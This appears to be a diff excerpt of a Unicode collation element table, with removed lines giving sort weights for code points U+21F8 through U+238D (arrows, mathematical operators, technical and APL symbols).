-21F8  ; [*05DE.0020.0002] # RIGHTWARDS ARROW WITH VERTICAL STROKE
-21F9  ; [*05DF.0020.0002] # LEFT RIGHT ARROW WITH VERTICAL STROKE
-21FA  ; [*05E0.0020.0002] # LEFTWARDS ARROW WITH DOUBLE VERTICAL STROKE
-21FB  ; [*05E1.0020.0002] # RIGHTWARDS ARROW WITH DOUBLE VERTICAL STROKE
-21FC  ; [*05E2.0020.0002] # LEFT RIGHT ARROW WITH DOUBLE VERTICAL STROKE
-21FD  ; [*05E3.0020.0002] # LEFTWARDS OPEN-HEADED ARROW
-21FE  ; [*05E4.0020.0002] # RIGHTWARDS OPEN-HEADED ARROW
-21FF  ; [*05E5.0020.0002] # LEFT RIGHT OPEN-HEADED ARROW
-2200  ; [*05E6.0020.0002] # FOR ALL
-2201  ; [*05E7.0020.0002] # COMPLEMENT
-2202  ; [*05E8.0020.0002] # PARTIAL DIFFERENTIAL
-2203  ; [*05E9.0020.0002] # THERE EXISTS
-2204  ; [*05E9.0020.0002][.0000.002F.0002] # THERE DOES NOT EXIST
-2205  ; [*05EA.0020.0002] # EMPTY SET
-2206  ; [*05EB.0020.0002] # INCREMENT
-2207  ; [*05EC.0020.0002] # NABLA
-2208  ; [*05ED.0020.0002] # ELEMENT OF
-2209  ; [*05ED.0020.0002][.0000.002F.0002] # NOT AN ELEMENT OF
-220A  ; [*05EE.0020.0002] # SMALL ELEMENT OF
-220B  ; [*05EF.0020.0002] # CONTAINS AS MEMBER
-220C  ; [*05EF.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS MEMBER
-220D  ; [*05F0.0020.0002] # SMALL CONTAINS AS MEMBER
-220E  ; [*05F2.0020.0002] # END OF PROOF
-220F  ; [*05F3.0020.0002] # N-ARY PRODUCT
-2210  ; [*05F4.0020.0002] # N-ARY COPRODUCT
-2211  ; [*05F5.0020.0002] # N-ARY SUMMATION
-2212  ; [*0601.0020.0002] # MINUS SIGN
-2213  ; [*0603.0020.0002] # MINUS-OR-PLUS SIGN
-2214  ; [*0604.0020.0002] # DOT PLUS
-2215  ; [*0605.0020.0002] # DIVISION SLASH
-2216  ; [*0607.0020.0002] # SET MINUS
-2217  ; [*0608.0020.0002] # ASTERISK OPERATOR
-2218  ; [*0609.0020.0002] # RING OPERATOR
-2219  ; [*060A.0020.0002] # BULLET OPERATOR
-221A  ; [*060B.0020.0002] # SQUARE ROOT
-221B  ; [*060C.0020.0002] # CUBE ROOT
-221C  ; [*060E.0020.0002] # FOURTH ROOT
-221D  ; [*0610.0020.0002] # PROPORTIONAL TO
-221E  ; [*0611.0020.0002] # INFINITY
-221F  ; [*0612.0020.0002] # RIGHT ANGLE
-2220  ; [*0613.0020.0002] # ANGLE
-2221  ; [*0614.0020.0002] # MEASURED ANGLE
-2222  ; [*0615.0020.0002] # SPHERICAL ANGLE
-2223  ; [*0616.0020.0002] # DIVIDES
-2224  ; [*0616.0020.0002][.0000.002F.0002] # DOES NOT DIVIDE
-2225  ; [*0617.0020.0002] # PARALLEL TO
-2226  ; [*0617.0020.0002][.0000.002F.0002] # NOT PARALLEL TO
-2227  ; [*0618.0020.0002] # LOGICAL AND
-2228  ; [*0619.0020.0002] # LOGICAL OR
-2229  ; [*061A.0020.0002] # INTERSECTION
-222A  ; [*061B.0020.0002] # UNION
-222B  ; [*061C.0020.0002] # INTEGRAL
-222C  ; [*061C.0020.0004][*061C.0020.0004] # DOUBLE INTEGRAL
-222D  ; [*061C.0020.0004][*061C.0020.0004][*061C.0020.0004] # TRIPLE INTEGRAL
-222E  ; [*061D.0020.0002] # CONTOUR INTEGRAL
-222F  ; [*061D.0020.0004][*061D.0020.0004] # SURFACE INTEGRAL
-2230  ; [*061D.0020.0004][*061D.0020.0004][*061D.0020.0004] # VOLUME INTEGRAL
-2231  ; [*061E.0020.0002] # CLOCKWISE INTEGRAL
-2232  ; [*061F.0020.0002] # CLOCKWISE CONTOUR INTEGRAL
-2233  ; [*0620.0020.0002] # ANTICLOCKWISE CONTOUR INTEGRAL
-2234  ; [*0621.0020.0002] # THEREFORE
-2235  ; [*0622.0020.0002] # BECAUSE
-2236  ; [*0623.0020.0002] # RATIO
-2237  ; [*0624.0020.0002] # PROPORTION
-2238  ; [*0625.0020.0002] # DOT MINUS
-2239  ; [*0626.0020.0002] # EXCESS
-223A  ; [*0627.0020.0002] # GEOMETRIC PROPORTION
-223B  ; [*0628.0020.0002] # HOMOTHETIC
-223C  ; [*0629.0020.0002] # TILDE OPERATOR
-223D  ; [*062A.0020.0002] # REVERSED TILDE
-223E  ; [*062B.0020.0002] # INVERTED LAZY S
-223F  ; [*062C.0020.0002] # SINE WAVE
-2240  ; [*062D.0020.0002] # WREATH PRODUCT
-2241  ; [*0629.0020.0002][.0000.002F.0002] # NOT TILDE
-2242  ; [*062E.0020.0002] # MINUS TILDE
-2243  ; [*062F.0020.0002] # ASYMPTOTICALLY EQUAL TO
-2244  ; [*062F.0020.0002][.0000.002F.0002] # NOT ASYMPTOTICALLY EQUAL TO
-2245  ; [*0630.0020.0002] # APPROXIMATELY EQUAL TO
-2246  ; [*0631.0020.0002] # APPROXIMATELY BUT NOT ACTUALLY EQUAL TO
-2247  ; [*0630.0020.0002][.0000.002F.0002] # NEITHER APPROXIMATELY NOR ACTUALLY EQUAL TO
-2248  ; [*0632.0020.0002] # ALMOST EQUAL TO
-2249  ; [*0632.0020.0002][.0000.002F.0002] # NOT ALMOST EQUAL TO
-224A  ; [*0633.0020.0002] # ALMOST EQUAL OR EQUAL TO
-224B  ; [*0634.0020.0002] # TRIPLE TILDE
-224C  ; [*0635.0020.0002] # ALL EQUAL TO
-224D  ; [*0636.0020.0002] # EQUIVALENT TO
-224E  ; [*0637.0020.0002] # GEOMETRICALLY EQUIVALENT TO
-224F  ; [*0638.0020.0002] # DIFFERENCE BETWEEN
-2250  ; [*0639.0020.0002] # APPROACHES THE LIMIT
-2251  ; [*063A.0020.0002] # GEOMETRICALLY EQUAL TO
-2252  ; [*063B.0020.0002] # APPROXIMATELY EQUAL TO OR THE IMAGE OF
-2253  ; [*063C.0020.0002] # IMAGE OF OR APPROXIMATELY EQUAL TO
-2254  ; [*063D.0020.0002] # COLON EQUALS
-2255  ; [*063E.0020.0002] # EQUALS COLON
-2256  ; [*063F.0020.0002] # RING IN EQUAL TO
-2257  ; [*0640.0020.0002] # RING EQUAL TO
-2258  ; [*0641.0020.0002] # CORRESPONDS TO
-2259  ; [*0642.0020.0002] # ESTIMATES
-225A  ; [*0643.0020.0002] # EQUIANGULAR TO
-225B  ; [*0644.0020.0002] # STAR EQUALS
-225C  ; [*0645.0020.0002] # DELTA EQUAL TO
-225D  ; [*0646.0020.0002] # EQUAL TO BY DEFINITION
-225E  ; [*0647.0020.0002] # MEASURED BY
-225F  ; [*0648.0020.0002] # QUESTIONED EQUAL TO
-2260  ; [*05FB.0020.0002][.0000.002F.0002] # NOT EQUAL TO
-2261  ; [*0649.0020.0002] # IDENTICAL TO
-2262  ; [*0649.0020.0002][.0000.002F.0002] # NOT IDENTICAL TO
-2263  ; [*064A.0020.0002] # STRICTLY EQUIVALENT TO
-2264  ; [*064B.0020.0002] # LESS-THAN OR EQUAL TO
-2265  ; [*064C.0020.0002] # GREATER-THAN OR EQUAL TO
-2266  ; [*064D.0020.0002] # LESS-THAN OVER EQUAL TO
-2267  ; [*064E.0020.0002] # GREATER-THAN OVER EQUAL TO
-2268  ; [*064F.0020.0002] # LESS-THAN BUT NOT EQUAL TO
-2269  ; [*0650.0020.0002] # GREATER-THAN BUT NOT EQUAL TO
-226A  ; [*0651.0020.0002] # MUCH LESS-THAN
-226B  ; [*0652.0020.0002] # MUCH GREATER-THAN
-226C  ; [*0653.0020.0002] # BETWEEN
-226D  ; [*0636.0020.0002][.0000.002F.0002] # NOT EQUIVALENT TO
-226E  ; [*05FA.0020.0002][.0000.002F.0002] # NOT LESS-THAN
-226F  ; [*05FC.0020.0002][.0000.002F.0002] # NOT GREATER-THAN
-2270  ; [*064B.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUAL TO
-2271  ; [*064C.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUAL TO
-2272  ; [*0654.0020.0002] # LESS-THAN OR EQUIVALENT TO
-2273  ; [*0655.0020.0002] # GREATER-THAN OR EQUIVALENT TO
-2274  ; [*0654.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR EQUIVALENT TO
-2275  ; [*0655.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR EQUIVALENT TO
-2276  ; [*0656.0020.0002] # LESS-THAN OR GREATER-THAN
-2277  ; [*0657.0020.0002] # GREATER-THAN OR LESS-THAN
-2278  ; [*0656.0020.0002][.0000.002F.0002] # NEITHER LESS-THAN NOR GREATER-THAN
-2279  ; [*0657.0020.0002][.0000.002F.0002] # NEITHER GREATER-THAN NOR LESS-THAN
-227A  ; [*0658.0020.0002] # PRECEDES
-227B  ; [*0659.0020.0002] # SUCCEEDS
-227C  ; [*065A.0020.0002] # PRECEDES OR EQUAL TO
-227D  ; [*065B.0020.0002] # SUCCEEDS OR EQUAL TO
-227E  ; [*065C.0020.0002] # PRECEDES OR EQUIVALENT TO
-227F  ; [*065D.0020.0002] # SUCCEEDS OR EQUIVALENT TO
-2280  ; [*0658.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE
-2281  ; [*0659.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED
-2282  ; [*065E.0020.0002] # SUBSET OF
-2283  ; [*065F.0020.0002] # SUPERSET OF
-2284  ; [*065E.0020.0002][.0000.002F.0002] # NOT A SUBSET OF
-2285  ; [*065F.0020.0002][.0000.002F.0002] # NOT A SUPERSET OF
-2286  ; [*0660.0020.0002] # SUBSET OF OR EQUAL TO
-2287  ; [*0661.0020.0002] # SUPERSET OF OR EQUAL TO
-2288  ; [*0660.0020.0002][.0000.002F.0002] # NEITHER A SUBSET OF NOR EQUAL TO
-2289  ; [*0661.0020.0002][.0000.002F.0002] # NEITHER A SUPERSET OF NOR EQUAL TO
-228A  ; [*0662.0020.0002] # SUBSET OF WITH NOT EQUAL TO
-228B  ; [*0663.0020.0002] # SUPERSET OF WITH NOT EQUAL TO
-228C  ; [*0664.0020.0002] # MULTISET
-228D  ; [*0665.0020.0002] # MULTISET MULTIPLICATION
-228E  ; [*0666.0020.0002] # MULTISET UNION
-228F  ; [*0667.0020.0002] # SQUARE IMAGE OF
-2290  ; [*0668.0020.0002] # SQUARE ORIGINAL OF
-2291  ; [*0669.0020.0002] # SQUARE IMAGE OF OR EQUAL TO
-2292  ; [*066A.0020.0002] # SQUARE ORIGINAL OF OR EQUAL TO
-2293  ; [*066B.0020.0002] # SQUARE CAP
-2294  ; [*066C.0020.0002] # SQUARE CUP
-2295  ; [*066D.0020.0002] # CIRCLED PLUS
-2296  ; [*066E.0020.0002] # CIRCLED MINUS
-2297  ; [*066F.0020.0002] # CIRCLED TIMES
-2298  ; [*0670.0020.0002] # CIRCLED DIVISION SLASH
-2299  ; [*0671.0020.0002] # CIRCLED DOT OPERATOR
-229A  ; [*0672.0020.0002] # CIRCLED RING OPERATOR
-229B  ; [*0673.0020.0002] # CIRCLED ASTERISK OPERATOR
-229C  ; [*0674.0020.0002] # CIRCLED EQUALS
-229D  ; [*0675.0020.0002] # CIRCLED DASH
-229E  ; [*0676.0020.0002] # SQUARED PLUS
-229F  ; [*0677.0020.0002] # SQUARED MINUS
-22A0  ; [*0678.0020.0002] # SQUARED TIMES
-22A1  ; [*0679.0020.0002] # SQUARED DOT OPERATOR
-22A2  ; [*067A.0020.0002] # RIGHT TACK
-22A3  ; [*067B.0020.0002] # LEFT TACK
-22A4  ; [*067C.0020.0002] # DOWN TACK
-22A5  ; [*067D.0020.0002] # UP TACK
-22A6  ; [*067E.0020.0002] # ASSERTION
-22A7  ; [*067F.0020.0002] # MODELS
-22A8  ; [*0680.0020.0002] # TRUE
-22A9  ; [*0681.0020.0002] # FORCES
-22AA  ; [*0682.0020.0002] # TRIPLE VERTICAL BAR RIGHT TURNSTILE
-22AB  ; [*0683.0020.0002] # DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE
-22AC  ; [*067A.0020.0002][.0000.002F.0002] # DOES NOT PROVE
-22AD  ; [*0680.0020.0002][.0000.002F.0002] # NOT TRUE
-22AE  ; [*0681.0020.0002][.0000.002F.0002] # DOES NOT FORCE
-22AF  ; [*0683.0020.0002][.0000.002F.0002] # NEGATED DOUBLE VERTICAL BAR DOUBLE RIGHT TURNSTILE
-22B0  ; [*0684.0020.0002] # PRECEDES UNDER RELATION
-22B1  ; [*0685.0020.0002] # SUCCEEDS UNDER RELATION
-22B2  ; [*0686.0020.0002] # NORMAL SUBGROUP OF
-22B3  ; [*0687.0020.0002] # CONTAINS AS NORMAL SUBGROUP
-22B4  ; [*0688.0020.0002] # NORMAL SUBGROUP OF OR EQUAL TO
-22B5  ; [*0689.0020.0002] # CONTAINS AS NORMAL SUBGROUP OR EQUAL TO
-22B6  ; [*068A.0020.0002] # ORIGINAL OF
-22B7  ; [*068B.0020.0002] # IMAGE OF
-22B8  ; [*068C.0020.0002] # MULTIMAP
-22B9  ; [*068D.0020.0002] # HERMITIAN CONJUGATE MATRIX
-22BA  ; [*068E.0020.0002] # INTERCALATE
-22BB  ; [*068F.0020.0002] # XOR
-22BC  ; [*0690.0020.0002] # NAND
-22BD  ; [*0692.0020.0002] # NOR
-22BE  ; [*0693.0020.0002] # RIGHT ANGLE WITH ARC
-22BF  ; [*0694.0020.0002] # RIGHT TRIANGLE
-22C0  ; [*0695.0020.0002] # N-ARY LOGICAL AND
-22C1  ; [*0696.0020.0002] # N-ARY LOGICAL OR
-22C2  ; [*0697.0020.0002] # N-ARY INTERSECTION
-22C3  ; [*0698.0020.0002] # N-ARY UNION
-22C4  ; [*0699.0020.0002] # DIAMOND OPERATOR
-22C5  ; [*069A.0020.0002] # DOT OPERATOR
-22C6  ; [*069B.0020.0002] # STAR OPERATOR
-22C7  ; [*069C.0020.0002] # DIVISION TIMES
-22C8  ; [*069D.0020.0002] # BOWTIE
-22C9  ; [*069E.0020.0002] # LEFT NORMAL FACTOR SEMIDIRECT PRODUCT
-22CA  ; [*069F.0020.0002] # RIGHT NORMAL FACTOR SEMIDIRECT PRODUCT
-22CB  ; [*06A0.0020.0002] # LEFT SEMIDIRECT PRODUCT
-22CC  ; [*06A1.0020.0002] # RIGHT SEMIDIRECT PRODUCT
-22CD  ; [*06A2.0020.0002] # REVERSED TILDE EQUALS
-22CE  ; [*06A3.0020.0002] # CURLY LOGICAL OR
-22CF  ; [*06A4.0020.0002] # CURLY LOGICAL AND
-22D0  ; [*06A5.0020.0002] # DOUBLE SUBSET
-22D1  ; [*06A6.0020.0002] # DOUBLE SUPERSET
-22D2  ; [*06A7.0020.0002] # DOUBLE INTERSECTION
-22D3  ; [*06A8.0020.0002] # DOUBLE UNION
-22D4  ; [*06A9.0020.0002] # PITCHFORK
-22D5  ; [*06AA.0020.0002] # EQUAL AND PARALLEL TO
-22D6  ; [*06AB.0020.0002] # LESS-THAN WITH DOT
-22D7  ; [*06AC.0020.0002] # GREATER-THAN WITH DOT
-22D8  ; [*06AD.0020.0002] # VERY MUCH LESS-THAN
-22D9  ; [*06AE.0020.0002] # VERY MUCH GREATER-THAN
-22DA  ; [*06AF.0020.0002] # LESS-THAN EQUAL TO OR GREATER-THAN
-22DB  ; [*06B0.0020.0002] # GREATER-THAN EQUAL TO OR LESS-THAN
-22DC  ; [*06B1.0020.0002] # EQUAL TO OR LESS-THAN
-22DD  ; [*06B2.0020.0002] # EQUAL TO OR GREATER-THAN
-22DE  ; [*06B3.0020.0002] # EQUAL TO OR PRECEDES
-22DF  ; [*06B4.0020.0002] # EQUAL TO OR SUCCEEDS
-22E0  ; [*065A.0020.0002][.0000.002F.0002] # DOES NOT PRECEDE OR EQUAL
-22E1  ; [*065B.0020.0002][.0000.002F.0002] # DOES NOT SUCCEED OR EQUAL
-22E2  ; [*0669.0020.0002][.0000.002F.0002] # NOT SQUARE IMAGE OF OR EQUAL TO
-22E3  ; [*066A.0020.0002][.0000.002F.0002] # NOT SQUARE ORIGINAL OF OR EQUAL TO
-22E4  ; [*06B5.0020.0002] # SQUARE IMAGE OF OR NOT EQUAL TO
-22E5  ; [*06B6.0020.0002] # SQUARE ORIGINAL OF OR NOT EQUAL TO
-22E6  ; [*06B7.0020.0002] # LESS-THAN BUT NOT EQUIVALENT TO
-22E7  ; [*06B8.0020.0002] # GREATER-THAN BUT NOT EQUIVALENT TO
-22E8  ; [*06B9.0020.0002] # PRECEDES BUT NOT EQUIVALENT TO
-22E9  ; [*06BA.0020.0002] # SUCCEEDS BUT NOT EQUIVALENT TO
-22EA  ; [*0686.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF
-22EB  ; [*0687.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP
-22EC  ; [*0688.0020.0002][.0000.002F.0002] # NOT NORMAL SUBGROUP OF OR EQUAL TO
-22ED  ; [*0689.0020.0002][.0000.002F.0002] # DOES NOT CONTAIN AS NORMAL SUBGROUP OR EQUAL
-22EE  ; [*06BB.0020.0002] # VERTICAL ELLIPSIS
-22EF  ; [*06BC.0020.0002] # MIDLINE HORIZONTAL ELLIPSIS
-22F0  ; [*06BD.0020.0002] # UP RIGHT DIAGONAL ELLIPSIS
-22F1  ; [*06BE.0020.0002] # DOWN RIGHT DIAGONAL ELLIPSIS
-22F2  ; [*06BF.0020.0002] # ELEMENT OF WITH LONG HORIZONTAL STROKE
-22F3  ; [*06C0.0020.0002] # ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
-22F4  ; [*06C1.0020.0002] # SMALL ELEMENT OF WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
-22F5  ; [*06C2.0020.0002] # ELEMENT OF WITH DOT ABOVE
-22F6  ; [*06C3.0020.0002] # ELEMENT OF WITH OVERBAR
-22F7  ; [*06C4.0020.0002] # SMALL ELEMENT OF WITH OVERBAR
-22F8  ; [*06C5.0020.0002] # ELEMENT OF WITH UNDERBAR
-22F9  ; [*06C6.0020.0002] # ELEMENT OF WITH TWO HORIZONTAL STROKES
-22FA  ; [*06C7.0020.0002] # CONTAINS WITH LONG HORIZONTAL STROKE
-22FB  ; [*06C8.0020.0002] # CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
-22FC  ; [*06C9.0020.0002] # SMALL CONTAINS WITH VERTICAL BAR AT END OF HORIZONTAL STROKE
-22FD  ; [*06CA.0020.0002] # CONTAINS WITH OVERBAR
-22FE  ; [*06CB.0020.0002] # SMALL CONTAINS WITH OVERBAR
-22FF  ; [*06CC.0020.0002] # Z NOTATION BAG MEMBERSHIP
-2300  ; [*06CD.0020.0002] # DIAMETER SIGN
-2301  ; [*06CE.0020.0002] # ELECTRIC ARROW
-2302  ; [*06CF.0020.0002] # HOUSE
-2303  ; [*06D0.0020.0002] # UP ARROWHEAD
-2304  ; [*06D1.0020.0002] # DOWN ARROWHEAD
-2305  ; [*06D2.0020.0002] # PROJECTIVE
-2306  ; [*06D3.0020.0002] # PERSPECTIVE
-2307  ; [*06D4.0020.0002] # WAVY LINE
-2308  ; [*031E.0020.0002] # LEFT CEILING
-2309  ; [*031F.0020.0002] # RIGHT CEILING
-230A  ; [*0320.0020.0002] # LEFT FLOOR
-230B  ; [*0321.0020.0002] # RIGHT FLOOR
-230C  ; [*06D5.0020.0002] # BOTTOM RIGHT CROP
-230D  ; [*06D6.0020.0002] # BOTTOM LEFT CROP
-230E  ; [*06D7.0020.0002] # TOP RIGHT CROP
-230F  ; [*06D8.0020.0002] # TOP LEFT CROP
-2310  ; [*06D9.0020.0002] # REVERSED NOT SIGN
-2311  ; [*06DA.0020.0002] # SQUARE LOZENGE
-2312  ; [*06DB.0020.0002] # ARC
-2313  ; [*06DC.0020.0002] # SEGMENT
-2314  ; [*06DD.0020.0002] # SECTOR
-2315  ; [*06DE.0020.0002] # TELEPHONE RECORDER
-2316  ; [*06DF.0020.0002] # POSITION INDICATOR
-2317  ; [*06E0.0020.0002] # VIEWDATA SQUARE
-2318  ; [*06E1.0020.0002] # PLACE OF INTEREST SIGN
-2319  ; [*06E2.0020.0002] # TURNED NOT SIGN
-231A  ; [*06E3.0020.0002] # WATCH
-231B  ; [*06E4.0020.0002] # HOURGLASS
-231C  ; [*06E5.0020.0002] # TOP LEFT CORNER
-231D  ; [*06E6.0020.0002] # TOP RIGHT CORNER
-231E  ; [*06E7.0020.0002] # BOTTOM LEFT CORNER
-231F  ; [*06E8.0020.0002] # BOTTOM RIGHT CORNER
-2320  ; [*06E9.0020.0002] # TOP HALF INTEGRAL
-2321  ; [*06EA.0020.0002] # BOTTOM HALF INTEGRAL
-2322  ; [*06EB.0020.0002] # FROWN
-2323  ; [*06EC.0020.0002] # SMILE
-2324  ; [*06ED.0020.0002] # UP ARROWHEAD BETWEEN TWO HORIZONTAL BARS
-2325  ; [*06EE.0020.0002] # OPTION KEY
-2326  ; [*06EF.0020.0002] # ERASE TO THE RIGHT
-2327  ; [*06F0.0020.0002] # X IN A RECTANGLE BOX
-2328  ; [*06F1.0020.0002] # KEYBOARD
-2329  ; [*0368.0020.0002] # LEFT-POINTING ANGLE BRACKET
-232A  ; [*0369.0020.0002] # RIGHT-POINTING ANGLE BRACKET
-232B  ; [*06F2.0020.0002] # ERASE TO THE LEFT
-232C  ; [*06F3.0020.0002] # BENZENE RING
-232D  ; [*06F4.0020.0002] # CYLINDRICITY
-232E  ; [*06F5.0020.0002] # ALL AROUND-PROFILE
-232F  ; [*06F6.0020.0002] # SYMMETRY
-2330  ; [*06F7.0020.0002] # TOTAL RUNOUT
-2331  ; [*06F8.0020.0002] # DIMENSION ORIGIN
-2332  ; [*06F9.0020.0002] # CONICAL TAPER
-2333  ; [*06FA.0020.0002] # SLOPE
-2334  ; [*06FB.0020.0002] # COUNTERBORE
-2335  ; [*06FC.0020.0002] # COUNTERSINK
-2336  ; [*06FD.0020.0002] # APL FUNCTIONAL SYMBOL I-BEAM
-2337  ; [*06FE.0020.0002] # APL FUNCTIONAL SYMBOL SQUISH QUAD
-2338  ; [*06FF.0020.0002] # APL FUNCTIONAL SYMBOL QUAD EQUAL
-2339  ; [*0700.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIVIDE
-233A  ; [*0701.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DIAMOND
-233B  ; [*0702.0020.0002] # APL FUNCTIONAL SYMBOL QUAD JOT
-233C  ; [*0703.0020.0002] # APL FUNCTIONAL SYMBOL QUAD CIRCLE
-233D  ; [*0704.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STILE
-233E  ; [*0705.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE JOT
-233F  ; [*0706.0020.0002] # APL FUNCTIONAL SYMBOL SLASH BAR
-2340  ; [*0707.0020.0002] # APL FUNCTIONAL SYMBOL BACKSLASH BAR
-2341  ; [*0708.0020.0002] # APL FUNCTIONAL SYMBOL QUAD SLASH
-2342  ; [*0709.0020.0002] # APL FUNCTIONAL SYMBOL QUAD BACKSLASH
-2343  ; [*070A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LESS-THAN
-2344  ; [*070B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD GREATER-THAN
-2345  ; [*070C.0020.0002] # APL FUNCTIONAL SYMBOL LEFTWARDS VANE
-2346  ; [*070D.0020.0002] # APL FUNCTIONAL SYMBOL RIGHTWARDS VANE
-2347  ; [*070E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD LEFTWARDS ARROW
-2348  ; [*070F.0020.0002] # APL FUNCTIONAL SYMBOL QUAD RIGHTWARDS ARROW
-2349  ; [*0710.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE BACKSLASH
-234A  ; [*0711.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK UNDERBAR
-234B  ; [*0712.0020.0002] # APL FUNCTIONAL SYMBOL DELTA STILE
-234C  ; [*0713.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWN CARET
-234D  ; [*0714.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DELTA
-234E  ; [*0715.0020.0002] # APL FUNCTIONAL SYMBOL DOWN TACK JOT
-234F  ; [*0716.0020.0002] # APL FUNCTIONAL SYMBOL UPWARDS VANE
-2350  ; [*0717.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UPWARDS ARROW
-2351  ; [*0718.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK OVERBAR
-2352  ; [*0719.0020.0002] # APL FUNCTIONAL SYMBOL DEL STILE
-2353  ; [*071A.0020.0002] # APL FUNCTIONAL SYMBOL QUAD UP CARET
-2354  ; [*071B.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DEL
-2355  ; [*071C.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK JOT
-2356  ; [*071D.0020.0002] # APL FUNCTIONAL SYMBOL DOWNWARDS VANE
-2357  ; [*071E.0020.0002] # APL FUNCTIONAL SYMBOL QUAD DOWNWARDS ARROW
-2358  ; [*071F.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE UNDERBAR
-2359  ; [*0720.0020.0002] # APL FUNCTIONAL SYMBOL DELTA UNDERBAR
-235A  ; [*0721.0020.0002] # APL FUNCTIONAL SYMBOL DIAMOND UNDERBAR
-235B  ; [*0722.0020.0002] # APL FUNCTIONAL SYMBOL JOT UNDERBAR
-235C  ; [*0723.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE UNDERBAR
-235D  ; [*0724.0020.0002] # APL FUNCTIONAL SYMBOL UP SHOE JOT
-235E  ; [*0725.0020.0002] # APL FUNCTIONAL SYMBOL QUOTE QUAD
-235F  ; [*0726.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE STAR
-2360  ; [*0727.0020.0002] # APL FUNCTIONAL SYMBOL QUAD COLON
-2361  ; [*0728.0020.0002] # APL FUNCTIONAL SYMBOL UP TACK DIAERESIS
-2362  ; [*0729.0020.0002] # APL FUNCTIONAL SYMBOL DEL DIAERESIS
-2363  ; [*072A.0020.0002] # APL FUNCTIONAL SYMBOL STAR DIAERESIS
-2364  ; [*072B.0020.0002] # APL FUNCTIONAL SYMBOL JOT DIAERESIS
-2365  ; [*072C.0020.0002] # APL FUNCTIONAL SYMBOL CIRCLE DIAERESIS
-2366  ; [*072D.0020.0002] # APL FUNCTIONAL SYMBOL DOWN SHOE STILE
-2367  ; [*072E.0020.0002] # APL FUNCTIONAL SYMBOL LEFT SHOE STILE
-2368  ; [*072F.0020.0002] # APL FUNCTIONAL SYMBOL TILDE DIAERESIS
-2369  ; [*0730.0020.0002] # APL FUNCTIONAL SYMBOL GREATER-THAN DIAERESIS
-236A  ; [*0731.0020.0002] # APL FUNCTIONAL SYMBOL COMMA BAR
-236B  ; [*0732.0020.0002] # APL FUNCTIONAL SYMBOL DEL TILDE
-236C  ; [*0733.0020.0002] # APL FUNCTIONAL SYMBOL ZILDE
-236D  ; [*0734.0020.0002] # APL FUNCTIONAL SYMBOL STILE TILDE
-236E  ; [*0735.0020.0002] # APL FUNCTIONAL SYMBOL SEMICOLON UNDERBAR
-236F  ; [*0736.0020.0002] # APL FUNCTIONAL SYMBOL QUAD NOT EQUAL
-2370  ; [*0737.0020.0002] # APL FUNCTIONAL SYMBOL QUAD QUESTION
-2371  ; [*0738.0020.0002] # APL FUNCTIONAL SYMBOL DOWN CARET TILDE
-2372  ; [*0739.0020.0002] # APL FUNCTIONAL SYMBOL UP CARET TILDE
-2373  ; [*073A.0020.0002] # APL FUNCTIONAL SYMBOL IOTA
-2374  ; [*073B.0020.0002] # APL FUNCTIONAL SYMBOL RHO
-2375  ; [*073C.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA
-2376  ; [*073D.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA UNDERBAR
-2377  ; [*073E.0020.0002] # APL FUNCTIONAL SYMBOL EPSILON UNDERBAR
-2378  ; [*073F.0020.0002] # APL FUNCTIONAL SYMBOL IOTA UNDERBAR
-2379  ; [*0740.0020.0002] # APL FUNCTIONAL SYMBOL OMEGA UNDERBAR
-237A  ; [*0741.0020.0002] # APL FUNCTIONAL SYMBOL ALPHA
-237B  ; [*0742.0020.0002] # NOT CHECK MARK
-237C  ; [*0743.0020.0002] # RIGHT ANGLE WITH DOWNWARDS ZIGZAG ARROW
-237D  ; [*0744.0020.0002] # SHOULDERED OPEN BOX
-237E  ; [*0745.0020.0002] # BELL SYMBOL
-237F  ; [*0746.0020.0002] # VERTICAL LINE WITH MIDDLE DOT
-2380  ; [*0747.0020.0002] # INSERTION SYMBOL
-2381  ; [*0748.0020.0002] # CONTINUOUS UNDERLINE SYMBOL
-2382  ; [*0749.0020.0002] # DISCONTINUOUS UNDERLINE SYMBOL
-2383  ; [*074A.0020.0002] # EMPHASIS SYMBOL
-2384  ; [*074B.0020.0002] # COMPOSITION SYMBOL
-2385  ; [*074C.0020.0002] # WHITE SQUARE WITH CENTRE VERTICAL LINE
-2386  ; [*074D.0020.0002] # ENTER SYMBOL
-2387  ; [*074E.0020.0002] # ALTERNATIVE KEY SYMBOL
-2388  ; [*074F.0020.0002] # HELM SYMBOL
-2389  ; [*0750.0020.0002] # CIRCLED HORIZONTAL BAR WITH NOTCH
-238A  ; [*0751.0020.0002] # CIRCLED TRIANGLE DOWN
-238B  ; [*0752.0020.0002] # BROKEN CIRCLE WITH NORTHWEST ARROW
-238C  ; [*0753.0020.0002] # UNDO SYMBOL
-238D  ; [*0754.0020.0002] # MONOSTABLE SYMBOL
